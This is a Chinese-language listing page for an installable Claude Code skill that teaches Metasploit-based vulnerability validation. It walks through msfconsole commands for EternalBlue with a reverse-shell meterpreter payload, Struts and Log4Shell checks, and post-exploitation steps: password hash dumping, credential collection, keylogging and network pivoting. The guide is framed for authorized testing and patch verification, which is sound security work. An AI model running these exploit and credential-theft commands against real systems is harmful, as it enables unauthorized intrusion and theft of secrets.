mcpField
E
exploiting-vulnerabilities-with-metasploit-framework

exploiting-vulnerabilities-with-metasploit-framework

github.com/mukul975安全35.2k156 次安装8 周前更新
代码仓库

关于 exploiting-vulnerabilities-with-metasploit-framework

面向授权安全测试人员的 Metasploit Framework 漏洞验证指南,说明如何确认漏洞可利用性、评估影响并复核补丁。

主要功能

  1. 01使用 Exploit 模块验证漏洞
  2. 02通过辅助模块扫描目标
  3. 03评估利用后的系统影响
  4. 04导出测试证据与报告
  5. 05复核修补后漏洞是否仍可利用

适用场景

  1. 01验证漏洞扫描器发现的问题
  2. 02为修复优先级提供利用证据
  3. 03在授权测试后确认补丁效果

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-vulnerabilities-with-metasploit-framework

安装后在 Claude Code 中输入/exploiting-vulnerabilities-with-metasploit-framework确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

使用 Metasploit Framework 利用漏洞

概述

Metasploit Framework 是世界上最广泛使用的渗透测试平台,由 Rapid7 维护。它包含 2,300 多个漏洞利用模块、1,200 个辅助模块和 400 个后渗透模块。在漏洞管理中,Metasploit 作为一种验证工具,用于确认已识别的漏洞确实可被利用,从而支持基于风险的优先级排序,并向利益相关者展示真实世界的影响。

何时使用

  • 在执行涉及使用 metasploit framework 利用漏洞的授权安全测试时
  • 在受控环境中分析恶意软件样本或攻击痕迹时
  • 在开展红队演练或渗透测试项目时
  • 在基于攻击技术理解来构建检测能力时

前提条件

  • 已安装 Metasploit Framework(Kali Linux 或独立安装)
  • 用于会话/凭据管理的 PostgreSQL 数据库
  • 书面授权和测试的交战规则
  • 隔离的测试环境或经批准的生产测试窗口
  • 理解网络、协议和漏洞利用概念

核心概念

Metasploit 架构
  • msfconsole:主要的交互式命令行界面
  • Exploits:利用漏洞获取访问权限的模块
  • Payloads:成功利用后在目标上执行的代码
  • Auxiliary:扫描、模糊测试和信息收集模块
  • Post-Exploitation:用于权限提升、持久化和横向移动的模块
  • Encoders:用于规避基于特征检测的 payload 编码
  • Nops:用于 payload 对齐的空操作生成器
漏洞管理中的利用工作流

与攻击性红队演练不同,漏洞管理使用 Metasploit 来:

  1. 验证扫描器发现(确认可利用性)
  2. 展示面向业务利益相关者的风险
  3. 基于已被证实的利用路径确定修复的优先级
  4. 验证补丁,确认漏洞利用不再成功

工作流

步骤 1:初始化 Metasploit 环境
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init

# Launch msfconsole
msfconsole -q

# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025

# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
步骤 2:验证特定漏洞
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Only exploit if check confirms vulnerability and authorized
msf6> exploit

# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
步骤 3:用于验证的辅助扫描
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
步骤 4:后渗透影响评估
# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy

# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_start
步骤 5:记录并报告发现
# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv

# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xml
步骤 6:补丁后验证
# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfully

安全控制

  1. 在可用时,在 exploit 之前始终使用 check 命令
  2. 设置 AutoRunScript 以实现干净的会话管理
  3. 使用 EXITFUNC=thread 以防止使目标服务崩溃
  4. 限制 payload 能力至验证所需的最低限度
  5. 记录每一个操作以形成审计轨迹和证据
  6. 按项目使用工作区隔离
  7. 切勿对未经授权的目标运行 Metasploit

最佳实践

  1. 在利用之前先从漏洞检查模块开始
  2. 仅使用 Metasploit 验证最高优先级的扫描器发现
  3. 与系统所有者协调测试窗口
  4. 维护所有利用尝试的详细日志
  5. 测试后清理所有痕迹和会话
  6. 使用结果为利益相关者创建有说服力的风险叙述
  7. 将 Metasploit 验证集成到漏洞管理工作流中

常见陷阱

  • 未经书面授权就进行利用(法律责任)
  • 未经协调就在生产系统上使用漏洞利用
  • 未清理 Meterpreter 会话和痕迹
  • 将漏洞验证与渗透测试范围混淆
  • 对已打补丁的系统使用过时的 Metasploit 模块
  • 未能为修复团队记录漏洞利用证据

相关技能

  • performing-red-team-validated-vulnerability-testing
  • scanning-infrastructure-with-nessus
  • performing-network-vulnerability-assessment

评论

支持 Markdown